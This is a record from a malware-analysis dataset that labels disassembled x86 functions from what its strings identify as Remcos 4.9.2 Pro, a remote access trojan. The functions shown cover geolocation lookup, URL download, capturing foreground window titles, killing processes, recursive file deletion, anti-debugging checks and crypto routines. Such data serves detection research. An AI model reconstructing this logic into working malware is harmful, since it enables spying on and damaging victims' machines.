joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b2ce
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
push ecx
pop ebx
call fcn.004020df
sub esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043bc91
pop ecx
push esi
push esi
push esi
push 1
push esi
push eax
pop edi
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
push eax
pop ebp
push str.http:__geoplugin.net_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41b35a
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.004020b7
push eax
push ebx
pop ecx
call fcn.00403376
lea ecx, [esp + 0x18]
call fcn.00401fd8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41b363
test ecx, ecx
jne 0x41b313
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043bc8c
pop ecx
pop edi
pop esi
pop ebp
push ebx
pop eax
pop ebx
add esp, 0x24
ret

Function at 0x41b944
Capabilities:
Download url
Receive data

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
push edx
pop ebx
test ecx, ecx
je 0x41b9db
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41b9db
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
or eax, eax
js 0x41b9d2
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043bc91
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41b9d2
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00436dd0
push esi
push edi
push dword [ebx]
call fcn.00436dd0
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x41b9e4
Capabilities:
Get graphical window text

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
push ecx
pop esi
call fcn.00436dd0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
push esi
pop ecx
push eax
call fcn.0040417e
mov eax, esi
pop esi
push ebp
pop esp
pop ebp
ret
Function at 0x41baaf
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
sub ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
or esi, esi
je 0x41bad7
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
or eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0x41bf69
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
sub esp, 0x828
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], 0x105
xor esi, esi
push edi
push esi
pop ebx
mov ebp, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
or eax, eax
jle 0x41bfc7
mov eax, edi
mov dword [esp + 0x10], eax
push 2
push 0x466608
push eax
call fcn.00436f2a
add esp, 0xc
or eax, eax
jne 0x41bfae
inc ebx
cmp ebx, 3
je 0x41bfc5
add dword [esp + 0x10], 2
inc ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp ebp, eax
jge 0x41bfc7
mov eax, dword [esp + 0x10]
jmp 0x41bf94
push ebp
pop ebx
xor eax, eax
mov word [edi + ebx*2], ax
lea eax, [ebx*2 + 2]
push eax
lea eax, [esp + 0x634]
push edi
push eax
call fcn.00436850
add esp, 0xc
lea eax, [esp + 0x18]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x41c084
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, eax
jmp 0x41c0b6
cmp word [esp + 0x1a], ax
jne 0x41c0a0
cmp word [esp + 0x1c], 0x3f
jne 0x41c0a0
cmp word [esp + 0x1e], ax
jne 0x41c0a0
cmp word [esp + ebp*2 + 0x18], ax
jne 0x41c0a0
xor eax, eax
mov word [esp + ebp*2 + 0x18], ax
lea eax, [esp + 0x428]
push 0x64
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x41c11e
push edi
lea eax, [esp + 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
or eax, eax
je 0x41c0d0
push 0x104
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x41c0c1
lea eax, [esp + 0x18]
push eax
call fcn.0043ba16
pop ecx
push 0x5c
lea ebp, [eax - 1]
pop eax
cmp word [esp + 0x18], ax
je 0x41c010
mov esi, 0xa1
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x41c0a5
jmp 0x41c0a0
push 0x5c
pop eax
mov word [esp + ebp*2 + 0x18], ax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x228]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x41c11e
lea eax, [edi + 2]
lea eax, [eax + ebx*2]
push eax
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x220]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x41c0a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
pop esi
jmp 0x41c0a5
Function at 0x41c1df
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x664
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
push ecx
pop edi
push edi
push eax
call fcn.0043f749
lea eax, [ebp - 0x410]
push 0x46c880
push eax
call fcn.0043f76b
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0043f749
lea eax, [ebp - 0x208]
push 0x466608
push eax
call fcn.0043f76b
add esp, 0x20
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push eax
pop esi
cmp esi, 0xffffffff
je 0x41c336
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.0043f749
pop ecx
pop ecx
mov bl, 1
lea eax, [ebp - 0x660]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x41c30a
lea ecx, [ebp - 0x634]
call fcn.0041c1b1
or eax, eax
jne 0x41c317
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043f76b
test byte [ebp - 0x660], 0x10
pop ecx
pop ecx
je 0x41c2c7
lea ecx, [ebp - 0x208]
call fcn.0041c1df
test eax, eax
je 0x41c32f
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41c2f3
test byte [ebp - 0x660], 1
je 0x41c2e2
push 0x80
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x41c32f
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043f749
pop ecx
pop ecx
jmp 0x41c317
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x41c32f
xor bl, bl
test bl, bl
jne 0x41c262
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41c338
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41c33f
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
xor ebx, ebx
push ecx
pop ebp
push edi
mov edi, edx
sub eax, ebx
je 0x41c368
sub eax, 1
jne 0x41c35e
push 4
pop eax
mov ecx, eax
jmp 0x41c370
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
jmp 0x41c370
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
pop esi
cmp esi, 0xffffffff
jne 0x41c38f
xor al, al
jmp 0x41c3cd
cmp dword [esp + 0x1c], 1
jne 0x41c3af
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x41c3af
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41c38b
push ebx
lea eax, [esp + 0x14]
push eax
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, eax
je 0x41c3c4
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x41c3d3
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push edi
sub ebx, ebx
mov ebp, edx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
pop edi
cmp edi, 0xffffffff
jne 0x41c3fd
xor al, al
jmp 0x41c43b
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, ebp
push ebx
push esi
call fcn.0040244e
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
push esi
push ebp
pop ecx
call fcn.00401fab
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x41c432
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41c463
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41c489
xor eax, eax
jmp 0x41c49c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret

Function at 0x41c49f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
pop edi
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push eax
pop esi
sub ebx, ebx
or esi, esi
je 0x41c59c
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.0040b852
push esi
lea ecx, [esp + 0x34]
call fcn.00401f04
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.00402305
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.004022ca
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.00402305
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00409bdb
sub esp, 0xc
mov ecx, esp
push 0x46cadc
call fcn.0040417e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0040905c
lea ecx, [esp + 0x54]
call fcn.0041be37
add esp, 0x30
lea ecx, [esp + 0x24]
push ebx
pop edi
call fcn.004021fa
test eax, eax
je 0x41c58a
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00401e65
push eax
lea ecx, [esp + 0x38]
call fcn.00409a5e
cmp eax, 0xffffffff
jne 0x41c5ad
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.004021fa
cmp esi, eax
jb 0x41c55f
lea ecx, [esp + 0x24]
call fcn.00406adc
lea ecx, [esp + 0x30]
call fcn.00401f09
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
mov al, bl
pop ebx
push ebp
pop esp
pop ebp
ret
mov esi, dword [esp + 0x10]
or esi, esi
je 0x41c5c7
lea ecx, [esp + 0x30]
call fcn.00401f04
push eax
push esi
call fcn.0043f749
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.00406adc
lea ecx, [esp + 0x30]
call fcn.00401f09
mov bl, 1
jmp 0x41c59c
Function at 0x41c930
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x41c9dc
sub ecx, 1
je 0x41c9ce
sub ecx, 1
je 0x41c9c0
sub ecx, 1
je 0x41c98d
sub ecx, 1
jne 0x41ca1e
push 1
sub esp, 0x18
push esp
pop ecx
push 0x46611c
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x466118
jmp 0x41ca0a
push 1
sub esp, 0x18
mov ecx, esp
push 0x46c5f0
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
push esp
pop ecx
push 0x46611c
jmp 0x41ca0a
push 1
sub esp, 0x18
push esp
pop ecx
push 0x46c9f8
jmp 0x41c999
push 1
sub esp, 0x18
mov ecx, esp
push 0x466104
jmp 0x41c999
push 1
sub esp, 0x18
mov ebx, 0x46611c
push esp
pop ecx
push ebx
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402093
push str.TileWallpaper
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x41cce9
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x474b18]
test bl, bl
mov dword [0x474b34], eax
pop ebx
jne 0x41cd11
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call fcn.0043c0f8
push eax
push 0x46ce14
push str.CONOUT_
call fcn.00441b62
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.0041cca6
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.00436dd0
lea eax, [ebp - 0x64]
push str._n_tRemcos_v
push eax
call fcn.00441ea0
lea eax, [ebp - 0x64]
push str.4.9.2_Pro
push eax
call fcn.00441ea0
lea eax, [ebp - 0x64]
push 0x46cf18
push eax
call fcn.00441ea0
lea eax, [ebp - 0x64]
push eax
call fcn.00407200
add esp, 0x28
push ebp
pop esp
pop ebp
ret
Function at 0x421f71
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
sub edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x421f9c
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x421f9c
cmp al, 0xc0
je 0x421f9c
cmp al, 0xcc
je 0x421f9c
add edx, 2
cmp dx, cx
jb 0x421f81
pop esi
ret

Function at 0x424a4b
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
push edx
pop edi
mov edx, dword [esp + 0x10]
lea esi, [edi + 4]
push esi
call fcn.004249e8
mov edx, dword [esp + 0x10]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x424a66
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x424a74
pop edi
pop esi
ret

Function at 0x426ccf
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x426ce7
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x426cda
pop esi
ret

Function at 0x426ce9
Capabilities:
Encode data using xor

Disassembly:
push ecx
pop eax
or eax, edx
push esi
mov esi, dword [esp + 8]
or eax, esi
test al, 3
jne 0x426d04
shr esi, 2
push esi
call fcn.00426ccf
pop ecx
pop esi
ret
test esi, esi
je 0x426d15
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x426d0a
pop esi
ret

Function at 0x426d17
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
sub eax, eax
push edx
pop esi
push ecx
pop ebx
or edi, edi
jle 0x426d3b
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x426d2a
pop edi
pop esi
pop ebx
ret

Function at 0x426d3f
Capabilities:
Encrypt data using aes

Disassembly:
sub eax, eax
mov ecx, 0x468718
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x426d49
cmp ecx, str.SHA256wECDSA
jl 0x426d46
ret
Function at 0x42b7a6
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
lea eax, [edx + 0x3f]
push esi
shr eax, 6
push edx
pop esi
sub esi, eax
mov dword [esp + 0x10], edx
push edi
xor edi, edi
push ecx
pop ebx
and dword [esp + 0x18], edi
inc esi
imul eax, esi, 3
shr eax, 2
cmp eax, dword [ebp]
jbe 0x42b7dd
mov eax, 0xffffff53
jmp 0x42b9b0
mov esi, dword [esp + 0x20]
cmp edx, 3
jbe 0x42b99e
lea eax, [esp + 0x18]
push ebx
pop ecx
push eax
lea edx, [esp + 0x18]
call fcn.0042b748
add esp, 4
or eax, eax
jne 0x42b997
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
mov byte [esp + 0x13], cl
mov dword [esp + 0x18], eax
test cl, cl
je 0x42b99e
dec dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
push ebx
pop ecx
call fcn.0042b748
add esp, 4
or eax, eax
jne 0x42b9b0
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x12], cl
push ebx
pop ecx
push eax
call fcn.0042b748
add esp, 4
test eax, eax
jne 0x42b9b0
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x24], cl
mov ecx, ebx
push eax
call fcn.0042b748
add esp, 4
test eax, eax
jne 0x42b9b0
mov eax, dword [esp + 0x18]
mov dl, byte [esp + 0x13]
mov dh, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
cmp dl, 0x2b
jb 0x42b990
mov cl, byte [esp + 0x12]
cmp cl, 0x2b
jb 0x42b990
mov al, byte [esp + 0x24]
cmp al, 0x2b
jb 0x42b990
cmp dh, 0x2b
jb 0x42b990
cmp dl, 0x7a
ja 0x42b990
cmp cl, 0x7a
ja 0x42b990
cmp al, 0x7a
ja 0x42b990
cmp dh, 0x7a
ja 0x42b990
xor ecx, ecx
cmp al, 0x3d
setne cl
xor eax, eax
inc ecx
cmp dh, 0x3d
setne al
add ecx, edi
add eax, ecx
cmp eax, dword [ebp]
ja 0x42b7d3
mov cl, byte [esp + 0x12]
movzx eax, dl
mov al, byte [eax + 0x46985d]
mov byte [esp + 0x13], al
movzx eax, cl
mov ch, byte [eax + 0x46985d]
mov al, byte [esp + 0x24]
cmp al, 0x3d
jne 0x42b933
xor cl, cl
jmp 0x42b93c
movzx eax, al
mov cl, byte [eax + 0x46985d]
cmp dh, 0x3d
jne 0x42b945
xor al, al
jmp 0x42b94e
movzx eax, dh
mov al, byte [eax + 0x46985d]
mov ah, byte [esp + 0x13]
mov dl, cl
shl dl, 6
or dl, al
shl ah, 2
mov al, ch
shr al, 4
or al, ah
mov byte [edi + esi], al
inc edi
cmp byte [esp + 0x24], 0x3d
je 0x42b97a
shr cl, 2
shl ch, 4
or cl, ch
mov byte [edi + esi], cl
inc edi
cmp dh, 0x3d
je 0x42b99e
mov byte [edi + esi], dl
inc edi
cmp dword [esp + 0x14], 3
ja 0x42b7ea
jmp 0x42b99e
mov eax, 0xffffff66
jmp 0x42b9b0
cmp eax, 0xffffff7c
jne 0x42b9b0
or esi, esi
je 0x42b9ab
cmp dword [ebp], edi
jbe 0x42b9ab
mov byte [edi + esi], 0
mov dword [ebp], edi
sub eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x42f0ac
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
test edi, edi
je 0x42f1a6
cmp dword [esp + 0x14], 0
mov esi, dword [esp + 0x18]
jne 0x42f0cd
test esi, esi
jne 0x42f1a6
cmp edx, 3
je 0x42f103
cmp edx, 4
je 0x42f103
cmp edx, 5
je 0x42f103
cmp edx, 6
je 0x42f103
cmp edx, 7
je 0x42f103
cmp edx, 8
je 0x42f103
cmp edx, 0xa
je 0x42f103
cmp edx, 0xb
je 0x42f103
cmp edx, 0xc
je 0x42f103
cmp edx, 0xd
jne 0x42f1a6
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.0042f08f
push eax
pop ebp
pop ecx
or ebp, ebp
jne 0x42f1ab
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0x42f1a6
cmp esi, 0x40
ja 0x42f149
cmp dword [esp + 0x14], ebx
je 0x42f172
push esi
push dword [esp + 0x18]
push ecx
call fcn.00436850
add esp, 0xc
jmp 0x42f16f
mov edx, dword [esp + 0x14]
push edi
pop ecx
push esi
call fcn.00433f8e
mov ebp, eax
pop ecx
test ebp, ebp
jne 0x42f1a2
lea edx, [edi + 0x70]
push edi
pop ecx
call fcn.00434069
mov ebp, eax
or ebp, ebp
jne 0x42f1a2
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0x42f18a
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.00436dd0
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0x42f18a
push ebp
pop eax
jmp 0x42f1ab
mov eax, 0xffffff53
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x43302a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
sub ebx, ebx
xor esi, esi
push edi
inc ebx
inc esi
cmp dword [esp + 0xe8], 0
push ecx
pop edi
push 0
cmovne ebx, dword [esp + 0xec]
push edx
pop ebp
pop ecx
test bl, 0x1f
push ebx
pop eax
push 0x37
push dword [esp + 0xf0]
setne cl
shr eax, 5
add eax, ecx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x44]
push eax
call fcn.00436850
and dword [esp + 0x20], 0
add esp, 0xc
cmp dword [esp + 0x10], 0
jbe 0x433168
lea ecx, [esp + 0x74]
call fcn.004340a8
push eax
pop esi
or esi, esi
jne 0x433168
push 0x37
lea edx, [esp + 0x40]
lea ecx, [esp + 0x78]
call fcn.00433f8e
push eax
pop esi
pop ecx
or esi, esi
jne 0x433168
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x74]
call fcn.00434069
mov esi, eax
test esi, esi
jne 0x433168
push 4
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.00436850
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [edi], 1
jbe 0x433113
cmp eax, dword [edi + 4]
jne 0x433113
cmp byte [edi + 0x76], 1
je 0x433186
mov edx, dword [esp + 0x10]
mov byte [edi + 0x76], 1
lea eax, [edx - 1]
cmp dword [esp + 0x14], eax
lea ecx, [edx + 1]
cmovne ecx, edx
mov dword [esp + 0x10], ecx
jmp 0x43311a
mov byte [edi + 0x76], 0
mov dword [edi + 4], eax
test ebp, ebp
je 0x433155
test ebx, ebx
je 0x433155
lea eax, [esp + 0x1c]
cmp ebx, 0x20
jb 0x433148
push 0x20
push eax
push ebp
call fcn.00436850
add esp, 0xc
lea ecx, [esp + 0x3c]
sub ebx, 0x20
add ebp, 0x20
call fcn.0043301b
jmp 0x433155
push ebx
push eax
push ebp
call fcn.00436850
add esp, 0xc
sub ebx, ebx
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, dword [esp + 0x10]
jl 0x433088
push 0x37
pop edx
lea ecx, [esp + 0x3c]
call fcn.0041d5dc
sub eax, eax
or esi, esi
setne al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret
push 3
pop eax
jmp 0x43317b

Function at 0x433882
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
or esi, esi
jne 0x43382e
mov eax, 0xffffff53
pop esi
ret
push edi
push 0x20
sub edi, edi
push edi
push esi
call fcn.00436dd0
add esp, 0xc
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
xor eax, eax
mov dword [esi + 0x68], edi
mov dword [esi], 0x6a09e667
pop edi
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
pop esi
ret
or ecx, ecx
jne 0x43388c
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x433820